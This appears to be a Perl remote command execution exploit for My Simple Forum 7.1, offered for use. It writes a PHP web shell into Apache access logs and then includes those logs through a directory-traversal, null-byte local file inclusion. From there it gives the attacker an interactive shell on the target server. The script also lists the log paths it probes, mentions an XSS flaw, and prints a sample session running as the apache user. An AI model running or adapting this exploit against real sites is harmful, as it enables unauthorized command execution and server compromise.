My Simple Forum 7.1 (LFI) Remote Command Execution Exploit

                                                #!/usr/bin/perl

# My Simple Forum v7.1
# Remote Command Execution Exploit (Apache Log Poisoning/Injection)
# Local File Inclusion at /theme/default/index.template.php?action=[lf]%00
# XSS at /theme/default/index.template.php?Name=[XSS] - This needs Register Globals ON
# Credits to Giovanni Buzzin, \"Osirys\"
# osirys[at]autistici[dot]org

# ---------------------------------------------------------------------------------------
# Exploit on Local
# ---------------------------------------------------------------------------------------
# osirys[~]>$ perl spl.txt http://localhost/MySimpleForum_v.7.1/
#
#   ---------------------------------
#      My Simple Forum RCE Sploit
#               (Log Inj)
#               by Osirys
#   ---------------------------------
#
# [*] Injecting evil php code ..
# [*] Cheeking for Apache Logs ..
# [*] Apache Log Injection completed
# [*] Path: /var/log/httpd/access_log
# [!] Hi my master, do your job now [x]
#
# shell[localhost]$> pwd
# /home/osirys/web/MySimpleForum_v.7.1
# shell[localhost]$> id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell[localhost]$> exit
# [-] Quitting ..
#
# osirys[~]>$
# ---------------------------------------------------------------------------------------


use IO::Socket::INET;
use LWP::UserAgent;

my $host       =  $ARGV[0];
my $lfi_path   =  \"/index.php?action=\";
my $null_byte  =  \"%00\";
my $rand_a     =  int(rand 150);
my $rand1      =  \"1337\".$rand_a.\"1337\";
my $rand_b     =  int(rand 150);
my $rand2      =  \"1337\".$rand_b.\"1337\";
my $gotcha     =  0;
my $dir_trasv  =  \"../../../../../../../../../..\";
my @logs_dirs  =  qw(
                      /var/log/httpd/access_log
                      /var/log/httpd/access.log
                      /var/log/httpd/error.log
                      /var/log/httpd/error_log
                      /var/log/access_log
                      /logs/error.log
                      /logs/access.log
                      /var/log/apache/error_log
                      /var/log/apache/error.log
                      /etc/httpd/logs/access_log
                      /usr/local/apache/logs/error_log
                      /etc/httpd/logs/access.log
                      /etc/httpd/logs/error_log
                      /etc/httpd/logs/error.log
                      /usr/local/apache/logs/access_log
                      /usr/local/apache/logs/access.log
                      /var/www/logs/access_log
                      /var/www/logs/access.log
                      /var/log/apache/access_log
                      /var/log/apache/access.log
                      /var/log/access_log
                      /var/www/logs/error_log
                      /var/www/logs/error.log
                      /usr/local/apache/logs/error.log
                      /var/log/error_log
                      /apache/logs/error.log
                      /apache/logs/access.log
                    );

my $php_code   =  \"<?php if(get_magic_quotes_gpc()){ \\$_GET[cmd]=st\".
                  \"ripslashes(\\$_GET[cmd]);} system(\\$_GET[cmd]);?>\";

($host) || help(\"-1\");
cheek($host) == 1 || help(\"-2\");
&banner;

$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);


$sock = IO::Socket::INET->new(
                                PeerAddr => $h0st,
                                PeerPort => 80,
                                Proto => \"tcp\"
                             ) || die \"Can\'t connect to $host:80!\\n\";

print \"[*] Injecting evil php code ..\\n\";


print $sock \"GET /Osirys_log_inj start0\".$rand1.$php_code.\"0end\".$rand2.\" HTTP/1.1\\r\\n\";
print $sock \"Host: \".$host.\"\\r\\n\";
print $sock \"Connection: close\\r\\n\\r\\n\";
close($sock);

print \"[*] Cheeking for Apache Logs ..\\n\";

while (($log = <@logs_dirs>)&&($gotcha != 1)) {
    $tmp_path = $host.$lfi_path.$dir_trasv.$log.$null_byte;
    $re = get_req($tmp_path);
    if ($re =~ /Osirys_log_inj/) {
        $gotcha = 1;
        $log_path = $tmp_path;
        print \"[*] Apache Log Injection completed\\n\";
        print \"[*] Path: $log\\n\";
        print \"[!] Hi my master, do your job now [x]\\n\\n\";
        &exec_cmd;
    }
}

$gotcha == 1 || die \"[-] Couldn\'t find Apache Logs\\n\";

sub exec_cmd {
    $h0st !~ /www\\./ || $h0st =~ s/www\\.//;
    print \"shell[$h0st]\\$> \";
    $cmd = <STDIN>;
    $cmd !~ /exit/ || die \"[-] Quitting ..\\n\\n\";
    $exec_url = $log_path.\"&cmd=\".$cmd;
    my $re = get_req($exec_url);
    my $content = tag($re);
    if ($content =~ m/start0$rand1(.+)\\*0end$rand2/g) {
        my $out = $1;
        $out =~ s/\\$/ /g;
        $out =~ s/\\*/\\n/g;
        chomp($out);
        print \"$out\\n\";
        &exec_cmd;
    }
    else {
        $c++;
        $cmd =~ s/\\n//;
        print \"bash: \".$cmd.\": command not found\\n\";
        $c < 3 || die \"[-] Command are not executed.\\n[-] Something wrong. Exploit Failed !\\n\\n\";
        &exec_cmd;
    }

}

sub get_req() {
    $link = $_[0];
    my $req = HTTP::Request->new(GET => $link);
    my $ua = LWP::UserAgent->new();
    $ua->timeout(4);
    my $response = $ua->request($req);
    return $response->content;
}

sub cheek() {
    my $host = $_[0];
    if ($host =~ /http:\\/\\/(.+)/) {
        return 1;
    }
    else {
        return 0;
    }
}

sub get_input() {
    my $host = $_[0];
    $host =~ /http:\\/\\/(.+)/;
    $s_host = $1;
    $s_host =~ /([a-z.-]{1,30})\\/(.*)/;
    ($h0st,$path) = ($1,$2);
    $path =~ s/(.*)/\\/$1/;
    $full_det = $h0st.\" \".$path;
    return $full_det;
}

sub tag() {
    my $string = $_[0];
    $string =~ s/ /\\$/g;
    $string =~ s/\\s/\\*/g;
    return($string);
}

sub banner {
    print \"\\n\".
          \"  --------------------------------- \\n\".
          \"     My Simple Forum RCE Sploit   \\n\".
          \"              (Log Inj)             \\n\".
          \"              by Osirys             \\n\".
          \"  --------------------------------- \\n\\n\";
}

sub help() {
    my $error = $_[0];
    if ($error == -1) {
        &banner;
        print \"\\n[-] Input data failed ! \\n\";
    }
    elsif ($error == -2) {
        &banner;
        print \"\\n[-] Bad hostname address !\\n\";
    }
    print \"[*] Usage : perl $0 http://hostname/cms_path\\n\\n\";
    exit(0);
}